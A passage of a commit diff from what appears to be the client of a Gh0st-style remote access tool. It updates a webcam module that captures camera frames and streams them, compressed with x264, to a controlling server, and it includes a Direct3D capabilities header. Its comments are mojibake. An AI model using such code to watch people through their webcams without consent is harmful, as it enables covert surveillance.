<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="test.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="resource1.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="TestRun.rc" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -11,7 +11,7 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientObject)
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
{
m_bIsWorking = TRUE;
@@ -20,39 +20,52 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientO
m_fccHandler = 1129730893;
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
lpBuffer = NULL;
m_hWorkThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
m_hWorkThread = CreateThread(NULL, 0, WorkThread, this, 0, NULL);
}
DWORD CVideoManager::WorkThread(LPVOID lParam)
{
CVideoManager *This = (CVideoManager *)lParam;
static DWORD dwLastScreen = GetTickCount();
static ULONGLONG dwLastScreen = GetTickCount64();
if (This->Initialize()) //ת<><D7AA>Initialize
{
This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9>
Mprintf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
}
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->WaitForDialogOpen();
#if USING_ZLIB
const int fps = 8;// ֡<><D6A1>
#elif USING_LZ4
const int fps = 8;// ֡<><D6A1>
#else
const int fps = 8;// ֡<><D6A1>
#endif
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
This->WaitForDialogOpen();
timeBeginPeriod(1);
while (This->m_bIsWorking)
{
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
if ((GetTickCount() - dwLastScreen) < 150)
Sleep(100);
dwLastScreen = GetTickCount();
This->SendNextScreen(); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>صĴ<D8B5><C4B4><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD>sendNextScreen <20><><EFBFBD><EFBFBD>
int span = sleep-(GetTickCount64() - dwLastScreen);
Sleep(span > 0 ? span : 1);
if (span < 0)
Mprintf("SendScreen Span = %d ms\n", span);
dwLastScreen = GetTickCount64();
if(FALSE == This->SendNextScreen())
break;
}
timeEndPeriod(1);
This->Destroy();
std::cout<<"CVideoManager WorkThread end\n";
Mprintf("CVideoManager WorkThread end\n");
return 0;
}
@@ -60,20 +73,23 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
CVideoManager::~CVideoManager()
{
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
m_CapVideo.m_bExit = TRUE;
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
std::cout<<"CVideoManager ~CVideoManager \n";
Mprintf("CVideoManager ~CVideoManager \n");
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
{
delete m_pVideoCodec;
m_pVideoCodec = NULL;
}
if (lpBuffer)
delete [] lpBuffer;
}
void CVideoManager::Destroy()
{
std::cout<<"CVideoManager Destroy \n";
m_bIsWorking = FALSE;
Mprintf("CVideoManager Destroy \n");
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
{
delete m_pVideoCodec;
@@ -83,29 +99,28 @@ void CVideoManager::Destroy()
void CVideoManager::SendBitMapInfor()
{
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO);
LPBYTE szBuffer = new BYTE[dwBytesLength];
if (szBuffer == NULL)
return;
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; //+ ͷ
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
BYTE szBuffer[dwBytesLength + 3] = { 0 };
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
delete [] szBuffer;
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
}
void CVideoManager::SendNextScreen()
BOOL CVideoManager::SendNextScreen()
{
DWORD dwBmpImageSize=0;
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); //m_pVideoCap->GetDIB();
// token + IsCompress + m_fccHandler + DIB
int nHeadLen = 1 + 1 + 4;
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
if(lpDIB == NULL)
return FALSE;
UINT nBufferLen = nHeadLen + dwBmpImageSize;//m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage;
LPBYTE lpBuffer = new BYTE[nBufferLen];
// token + IsCompress + m_fccHandler + DIB
const int nHeadLen = 1 + 1 + 4;
UINT nBufferLen = nHeadLen + dwBmpImageSize;
lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
lpBuffer[0] = TOKEN_WEBCAM_DIB;
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //<2F><><EFBFBD><EFBFBD><EFBDAB>Ƶѹ<C6B5><D1B9><EFBFBD><EFBFBD>д<EFBFBD><D0B4>Ҫ<EFBFBD><D2AA><EFBFBD>͵Ļ<CDB5><C4BB><EFBFBD><EFBFBD><EFBFBD>
@@ -113,15 +128,14 @@ void CVideoManager::SendNextScreen()
if (m_bIsCompress && m_pVideoCodec) //<2F><><EFBFBD><EFBFBD><EFBFBD>жϣ<D0B6><CFA3>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD>ѹ<EFBFBD><D1B9>
{
int nCompressLen = 0;
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen,
&nCompressLen, NULL);
if (!nCompressLen)
{
// some thing error
delete [] lpBuffer;
return;
return FALSE;
}
//<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>
//<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void)
@@ -137,7 +151,7 @@ void CVideoManager::SendNextScreen()
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
delete [] lpBuffer;
return TRUE;
}
@@ -149,7 +163,21 @@ VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
NotifyDialogIsOpen();
break;
}
}
case COMMAND_WEBCAM_ENABLECOMPRESS: // Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
{
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_pVideoCodec)
InterlockedExchange((LPLONG)&m_bIsCompress, true);
Mprintf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
break;
}
case COMMAND_WEBCAM_DISABLECOMPRESS: // ԭʼ<D4AD><CABC><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD>
{
InterlockedExchange((LPLONG)&m_bIsCompress, false);
Mprintf("<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
break;
}
}
}

View File

@@ -16,25 +16,26 @@
class CVideoManager : public CManager
{
public:
CVideoManager(IOCPClient* ClientObject, int n) ;
CVideoManager(IOCPClient* ClientObject, int n, void* user = nullptr) ;
virtual ~CVideoManager();
BOOL m_bIsWorking;
HANDLE m_hWorkThread;
void CVideoManager::SendBitMapInfor();
void CVideoManager::SendNextScreen();
static DWORD WorkThread(LPVOID lParam);
void SendBitMapInfor();
BOOL SendNextScreen();
static DWORD WINAPI WorkThread(LPVOID lParam);
CCaptureVideo m_CapVideo;
VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength);
BOOL CVideoManager::Initialize();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
BOOL Initialize();
DWORD m_fccHandler;
bool m_bIsCompress;
LPBYTE lpBuffer; // ץͼ<D7A5><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CVideoCodec *m_pVideoCodec; //ѹ<><D1B9><EFBFBD><EFBFBD>
void CVideoManager::Destroy();
void Destroy();
};
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)

163
client/X264Encoder.cpp Normal file
View File

@@ -0,0 +1,163 @@
#include "X264Encoder.h"
#include <string.h>
#include <stdio.h>
#ifdef _WIN64
#pragma comment(lib,"libyuv/libyuv_x64.lib")
#pragma comment(lib,"x264/libx264_x64.lib")
#else
#pragma comment(lib,"libyuv/libyuv.lib")
#pragma comment(lib,"x264/libx264.lib")
#endif
CX264Encoder::CX264Encoder()
{
memset(&m_Param, 0, sizeof(m_Param));
m_pCodec = NULL;
m_pPicIn = NULL;
m_pPicOut = NULL;
}
CX264Encoder::~CX264Encoder()
{
close();
}
bool CX264Encoder::open(int width, int height, int fps, int bitrate)
{
x264_param_t param = { 0 };
x264_param_default_preset(&param, "ultrafast", "zerolatency");
param.i_width = width & 0xfffffffe;
param.i_height = height & 0xfffffffe;
//x264_LOG_NONE
param.i_log_level = X264_LOG_NONE;
param.i_threads = 1;
param.i_frame_total = 0;
param.i_keyint_max = 10;
param.i_bframe = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
param.b_open_gop = 0;
param.i_fps_num = fps;
param.i_csp = X264_CSP_I420;
if (bitrate)
{
param.rc.i_rc_method = X264_RC_ABR;
param.rc.i_bitrate = bitrate;
}
//<2F><><EFBFBD><EFBFBD>profile.
if (x264_param_apply_profile(&param, x264_profile_names[0]))
{
return false;
}
return open(&param);
}
bool CX264Encoder::open(x264_param_t * param)
{
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
//input pic.
x264_picture_init(m_pPicIn);
x264_picture_alloc(
m_pPicIn,
X264_CSP_I420,
param->i_width,
param->i_height);
//create codec instance.
m_pCodec = x264_encoder_open(param);
if (m_pCodec == NULL){
return false;
}
memcpy(&m_Param, param, sizeof(m_Param));
return true;
}
void CX264Encoder::close()
{
if (m_pCodec)
{
x264_encoder_close(m_pCodec);
m_pCodec = NULL;
}
if (m_pPicIn)
{
x264_picture_clean(m_pPicIn);
free(m_pPicIn);
m_pPicIn = NULL;
}
if (m_pPicOut)
{
free(m_pPicOut);
m_pPicOut = NULL;
}
}
int CX264Encoder::encode(
uint8_t * rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t ** lppData,
uint32_t * lpSize,
int direction)
{
int encode_size = 0;
x264_nal_t *pNal = NULL;
int iNal;
if ((width & 0xfffffffe) != m_Param.i_width ||
(height & 0xfffffffe) != m_Param.i_height)
{
return -1;
}
switch (bpp)
{
case 24:
libyuv::RGB24ToI420((uint8_t*)rgb, stride,
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
m_Param.i_width, direction * m_Param.i_height);
break;
case 32:
libyuv::ARGBToI420((uint8_t*)rgb, stride,
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
m_Param.i_width, direction * m_Param.i_height);
break;
default:
return -2;
}
encode_size = x264_encoder_encode(
m_pCodec,
&pNal,
&iNal,
m_pPicIn,
m_pPicOut);
if (encode_size < 0)
{
return -3;
}
*lppData = pNal->p_payload;
*lpSize = encode_size;
return 0;
}

35
client/X264Encoder.h Normal file
View File

@@ -0,0 +1,35 @@
#pragma once
extern "C"{
#include <libyuv\libyuv.h>
#include <x264\x264.h>
}
class CX264Encoder
{
private:
x264_t* m_pCodec; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>
x264_picture_t *m_pPicIn;
x264_picture_t *m_pPicOut;
x264_param_t m_Param;
public:
bool open(int width, int height, int fps,int bitrate);
bool open(x264_param_t * param);
void close();
int encode(
uint8_t * rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t ** lppData,
uint32_t * lpSize,
int direction = 1
);
CX264Encoder();
~CX264Encoder();
};

1696
client/d3d/d3d.h Normal file

File diff suppressed because it is too large Load Diff

609
client/d3d/d3dcaps.h Normal file
View File

@@ -0,0 +1,609 @@
/*==========================================================================;
*
* Copyright (C) Microsoft Corporation. All Rights Reserved.
*
* File: d3dcaps.h
* Content: Direct3D capabilities include file
*
***************************************************************************/
#include <winapifamily.h>
#pragma region Desktop Family
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
#ifndef _D3DCAPS_H
#define _D3DCAPS_H
/*
* Pull in DirectDraw include file automatically:
*/
#include "ddraw.h"
#ifndef DIRECT3D_VERSION
#define DIRECT3D_VERSION 0x0700
#endif
#if defined(_X86_) || defined(_IA64_)
#pragma pack(4)
#endif
/* Description of capabilities of transform */
typedef struct _D3DTRANSFORMCAPS {
DWORD dwSize;
DWORD dwCaps;
} D3DTRANSFORMCAPS, *LPD3DTRANSFORMCAPS;
#define D3DTRANSFORMCAPS_CLIP 0x00000001L /* Will clip whilst transforming */
/* Description of capabilities of lighting */
typedef struct _D3DLIGHTINGCAPS {
DWORD dwSize;
DWORD dwCaps; /* Lighting caps */
DWORD dwLightingModel; /* Lighting model - RGB or mono */
DWORD dwNumLights; /* Number of lights that can be handled */
} D3DLIGHTINGCAPS, *LPD3DLIGHTINGCAPS;
#define D3DLIGHTINGMODEL_RGB 0x00000001L
#define D3DLIGHTINGMODEL_MONO 0x00000002L
#define D3DLIGHTCAPS_POINT 0x00000001L /* Point lights supported */
#define D3DLIGHTCAPS_SPOT 0x00000002L /* Spot lights supported */
#define D3DLIGHTCAPS_DIRECTIONAL 0x00000004L /* Directional lights supported */
#if(DIRECT3D_VERSION < 0x700)
#define D3DLIGHTCAPS_PARALLELPOINT 0x00000008L /* Parallel point lights supported */
#endif
#if(DIRECT3D_VERSION < 0x500)
#define D3DLIGHTCAPS_GLSPOT 0x00000010L /* GL syle spot lights supported */
#endif
/* Description of capabilities for each primitive type */
typedef struct _D3DPrimCaps {
DWORD dwSize;
DWORD dwMiscCaps; /* Capability flags */
DWORD dwRasterCaps;
DWORD dwZCmpCaps;
DWORD dwSrcBlendCaps;
DWORD dwDestBlendCaps;
DWORD dwAlphaCmpCaps;
DWORD dwShadeCaps;
DWORD dwTextureCaps;
DWORD dwTextureFilterCaps;
DWORD dwTextureBlendCaps;
DWORD dwTextureAddressCaps;
DWORD dwStippleWidth; /* maximum width and height of */
DWORD dwStippleHeight; /* of supported stipple (up to 32x32) */
} D3DPRIMCAPS, *LPD3DPRIMCAPS;
/* D3DPRIMCAPS dwMiscCaps */
#define D3DPMISCCAPS_MASKPLANES 0x00000001L
#define D3DPMISCCAPS_MASKZ 0x00000002L
#define D3DPMISCCAPS_LINEPATTERNREP 0x00000004L
#define D3DPMISCCAPS_CONFORMANT 0x00000008L
#define D3DPMISCCAPS_CULLNONE 0x00000010L
#define D3DPMISCCAPS_CULLCW 0x00000020L
#define D3DPMISCCAPS_CULLCCW 0x00000040L
/* D3DPRIMCAPS dwRasterCaps */
#define D3DPRASTERCAPS_DITHER 0x00000001L
#define D3DPRASTERCAPS_ROP2 0x00000002L
#define D3DPRASTERCAPS_XOR 0x00000004L
#define D3DPRASTERCAPS_PAT 0x00000008L
#define D3DPRASTERCAPS_ZTEST 0x00000010L
#define D3DPRASTERCAPS_SUBPIXEL 0x00000020L
#define D3DPRASTERCAPS_SUBPIXELX 0x00000040L
#define D3DPRASTERCAPS_FOGVERTEX 0x00000080L
#define D3DPRASTERCAPS_FOGTABLE 0x00000100L
#define D3DPRASTERCAPS_STIPPLE 0x00000200L
#if(DIRECT3D_VERSION >= 0x0500)
#define D3DPRASTERCAPS_ANTIALIASSORTDEPENDENT 0x00000400L
#define D3DPRASTERCAPS_ANTIALIASSORTINDEPENDENT 0x00000800L
#define D3DPRASTERCAPS_ANTIALIASEDGES 0x00001000L
#define D3DPRASTERCAPS_MIPMAPLODBIAS 0x00002000L
#define D3DPRASTERCAPS_ZBIAS 0x00004000L
#define D3DPRASTERCAPS_ZBUFFERLESSHSR 0x00008000L
#define D3DPRASTERCAPS_FOGRANGE 0x00010000L
#define D3DPRASTERCAPS_ANISOTROPY 0x00020000L
#endif /* DIRECT3D_VERSION >= 0x0500 */
#if(DIRECT3D_VERSION >= 0x0600)
#define D3DPRASTERCAPS_WBUFFER 0x00040000L
#define D3DPRASTERCAPS_TRANSLUCENTSORTINDEPENDENT 0x00080000L
#define D3DPRASTERCAPS_WFOG 0x00100000L
#define D3DPRASTERCAPS_ZFOG 0x00200000L
#endif /* DIRECT3D_VERSION >= 0x0600 */
/* D3DPRIMCAPS dwZCmpCaps, dwAlphaCmpCaps */
#define D3DPCMPCAPS_NEVER 0x00000001L
#define D3DPCMPCAPS_LESS 0x00000002L
#define D3DPCMPCAPS_EQUAL 0x00000004L
#define D3DPCMPCAPS_LESSEQUAL 0x00000008L
#define D3DPCMPCAPS_GREATER 0x00000010L
#define D3DPCMPCAPS_NOTEQUAL 0x00000020L
#define D3DPCMPCAPS_GREATEREQUAL 0x00000040L
#define D3DPCMPCAPS_ALWAYS 0x00000080L
/* D3DPRIMCAPS dwSourceBlendCaps, dwDestBlendCaps */
#define D3DPBLENDCAPS_ZERO 0x00000001L
#define D3DPBLENDCAPS_ONE 0x00000002L
#define D3DPBLENDCAPS_SRCCOLOR 0x00000004L
#define D3DPBLENDCAPS_INVSRCCOLOR 0x00000008L
#define D3DPBLENDCAPS_SRCALPHA 0x00000010L
#define D3DPBLENDCAPS_INVSRCALPHA 0x00000020L
#define D3DPBLENDCAPS_DESTALPHA 0x00000040L
#define D3DPBLENDCAPS_INVDESTALPHA 0x00000080L
#define D3DPBLENDCAPS_DESTCOLOR 0x00000100L
#define D3DPBLENDCAPS_INVDESTCOLOR 0x00000200L
#define D3DPBLENDCAPS_SRCALPHASAT 0x00000400L
#define D3DPBLENDCAPS_BOTHSRCALPHA 0x00000800L
#define D3DPBLENDCAPS_BOTHINVSRCALPHA 0x00001000L
/* D3DPRIMCAPS dwShadeCaps */
#define D3DPSHADECAPS_COLORFLATMONO 0x00000001L
#define D3DPSHADECAPS_COLORFLATRGB 0x00000002L
#define D3DPSHADECAPS_COLORGOURAUDMONO 0x00000004L
#define D3DPSHADECAPS_COLORGOURAUDRGB 0x00000008L
#define D3DPSHADECAPS_COLORPHONGMONO 0x00000010L
#define D3DPSHADECAPS_COLORPHONGRGB 0x00000020L
#define D3DPSHADECAPS_SPECULARFLATMONO 0x00000040L
#define D3DPSHADECAPS_SPECULARFLATRGB 0x00000080L
#define D3DPSHADECAPS_SPECULARGOURAUDMONO 0x00000100L
#define D3DPSHADECAPS_SPECULARGOURAUDRGB 0x00000200L
#define D3DPSHADECAPS_SPECULARPHONGMONO 0x00000400L
#define D3DPSHADECAPS_SPECULARPHONGRGB 0x00000800L
#define D3DPSHADECAPS_ALPHAFLATBLEND 0x00001000L
#define D3DPSHADECAPS_ALPHAFLATSTIPPLED 0x00002000L
#define D3DPSHADECAPS_ALPHAGOURAUDBLEND 0x00004000L
#define D3DPSHADECAPS_ALPHAGOURAUDSTIPPLED 0x00008000L
#define D3DPSHADECAPS_ALPHAPHONGBLEND 0x00010000L
#define D3DPSHADECAPS_ALPHAPHONGSTIPPLED 0x00020000L
#define D3DPSHADECAPS_FOGFLAT 0x00040000L
#define D3DPSHADECAPS_FOGGOURAUD 0x00080000L
#define D3DPSHADECAPS_FOGPHONG 0x00100000L
/* D3DPRIMCAPS dwTextureCaps */
/*
* Perspective-correct texturing is supported
*/
#define D3DPTEXTURECAPS_PERSPECTIVE 0x00000001L
/*
* Power-of-2 texture dimensions are required
*/
#define D3DPTEXTURECAPS_POW2 0x00000002L
/*
* Alpha in texture pixels is supported
*/
#define D3DPTEXTURECAPS_ALPHA 0x00000004L
/*
* Color-keyed textures are supported
*/
#define D3DPTEXTURECAPS_TRANSPARENCY 0x00000008L
/*
* obsolete, see D3DPTADDRESSCAPS_BORDER
*/
#define D3DPTEXTURECAPS_BORDER 0x00000010L
/*
* Only square textures are supported
*/
#define D3DPTEXTURECAPS_SQUAREONLY 0x00000020L
#if(DIRECT3D_VERSION >= 0x0600)
/*
* Texture indices are not scaled by the texture size prior
* to interpolation.
*/
#define D3DPTEXTURECAPS_TEXREPEATNOTSCALEDBYSIZE 0x00000040L
/*
* Device can draw alpha from texture palettes
*/
#define D3DPTEXTURECAPS_ALPHAPALETTE 0x00000080L
/*
* Device can use non-POW2 textures if:
* 1) D3DTEXTURE_ADDRESS is set to CLAMP for this texture's stage
* 2) D3DRS_WRAP(N) is zero for this texture's coordinates
* 3) mip mapping is not enabled (use magnification filter only)
*/
#define D3DPTEXTURECAPS_NONPOW2CONDITIONAL 0x00000100L
#endif /* DIRECT3D_VERSION >= 0x0600 */
#if(DIRECT3D_VERSION >= 0x0700)
// 0x00000200L unused
/*
* Device can divide transformed texture coordinates by the
* COUNTth texture coordinate (can do D3DTTFF_PROJECTED)
*/
#define D3DPTEXTURECAPS_PROJECTED 0x00000400L
/*
* Device can do cubemap textures
*/
#define D3DPTEXTURECAPS_CUBEMAP 0x00000800L
#define D3DPTEXTURECAPS_COLORKEYBLEND 0x00001000L
#endif /* DIRECT3D_VERSION >= 0x0700 */
/* D3DPRIMCAPS dwTextureFilterCaps */
#define D3DPTFILTERCAPS_NEAREST 0x00000001L
#define D3DPTFILTERCAPS_LINEAR 0x00000002L
#define D3DPTFILTERCAPS_MIPNEAREST 0x00000004L
#define D3DPTFILTERCAPS_MIPLINEAR 0x00000008L
#define D3DPTFILTERCAPS_LINEARMIPNEAREST 0x00000010L
#define D3DPTFILTERCAPS_LINEARMIPLINEAR 0x00000020L
#if(DIRECT3D_VERSION >= 0x0600)
/* Device3 Min Filter */
#define D3DPTFILTERCAPS_MINFPOINT 0x00000100L
#define D3DPTFILTERCAPS_MINFLINEAR 0x00000200L
#define D3DPTFILTERCAPS_MINFANISOTROPIC 0x00000400L
/* Device3 Mip Filter */
#define D3DPTFILTERCAPS_MIPFPOINT 0x00010000L
#define D3DPTFILTERCAPS_MIPFLINEAR 0x00020000L
/* Device3 Mag Filter */
#define D3DPTFILTERCAPS_MAGFPOINT 0x01000000L
#define D3DPTFILTERCAPS_MAGFLINEAR 0x02000000L
#define D3DPTFILTERCAPS_MAGFANISOTROPIC 0x04000000L
#define D3DPTFILTERCAPS_MAGFAFLATCUBIC 0x08000000L
#define D3DPTFILTERCAPS_MAGFGAUSSIANCUBIC 0x10000000L
#endif /* DIRECT3D_VERSION >= 0x0600 */
/* D3DPRIMCAPS dwTextureBlendCaps */
#define D3DPTBLENDCAPS_DECAL 0x00000001L
#define D3DPTBLENDCAPS_MODULATE 0x00000002L
#define D3DPTBLENDCAPS_DECALALPHA 0x00000004L
#define D3DPTBLENDCAPS_MODULATEALPHA 0x00000008L
#define D3DPTBLENDCAPS_DECALMASK 0x00000010L
#define D3DPTBLENDCAPS_MODULATEMASK 0x00000020L
#define D3DPTBLENDCAPS_COPY 0x00000040L
#if(DIRECT3D_VERSION >= 0x0500)
#define D3DPTBLENDCAPS_ADD 0x00000080L
#endif /* DIRECT3D_VERSION >= 0x0500 */
/* D3DPRIMCAPS dwTextureAddressCaps */
#define D3DPTADDRESSCAPS_WRAP 0x00000001L
#define D3DPTADDRESSCAPS_MIRROR 0x00000002L
#define D3DPTADDRESSCAPS_CLAMP 0x00000004L
#if(DIRECT3D_VERSION >= 0x0500)
#define D3DPTADDRESSCAPS_BORDER 0x00000008L
#define D3DPTADDRESSCAPS_INDEPENDENTUV 0x00000010L
#endif /* DIRECT3D_VERSION >= 0x0500 */
#if(DIRECT3D_VERSION >= 0x0600)
/* D3DDEVICEDESC dwStencilCaps */
#define D3DSTENCILCAPS_KEEP 0x00000001L
#define D3DSTENCILCAPS_ZERO 0x00000002L
#define D3DSTENCILCAPS_REPLACE 0x00000004L
#define D3DSTENCILCAPS_INCRSAT 0x00000008L
#define D3DSTENCILCAPS_DECRSAT 0x00000010L
#define D3DSTENCILCAPS_INVERT 0x00000020L
#define D3DSTENCILCAPS_INCR 0x00000040L
#define D3DSTENCILCAPS_DECR 0x00000080L
/* D3DDEVICEDESC dwTextureOpCaps */
#define D3DTEXOPCAPS_DISABLE 0x00000001L
#define D3DTEXOPCAPS_SELECTARG1 0x00000002L
#define D3DTEXOPCAPS_SELECTARG2 0x00000004L
#define D3DTEXOPCAPS_MODULATE 0x00000008L
#define D3DTEXOPCAPS_MODULATE2X 0x00000010L
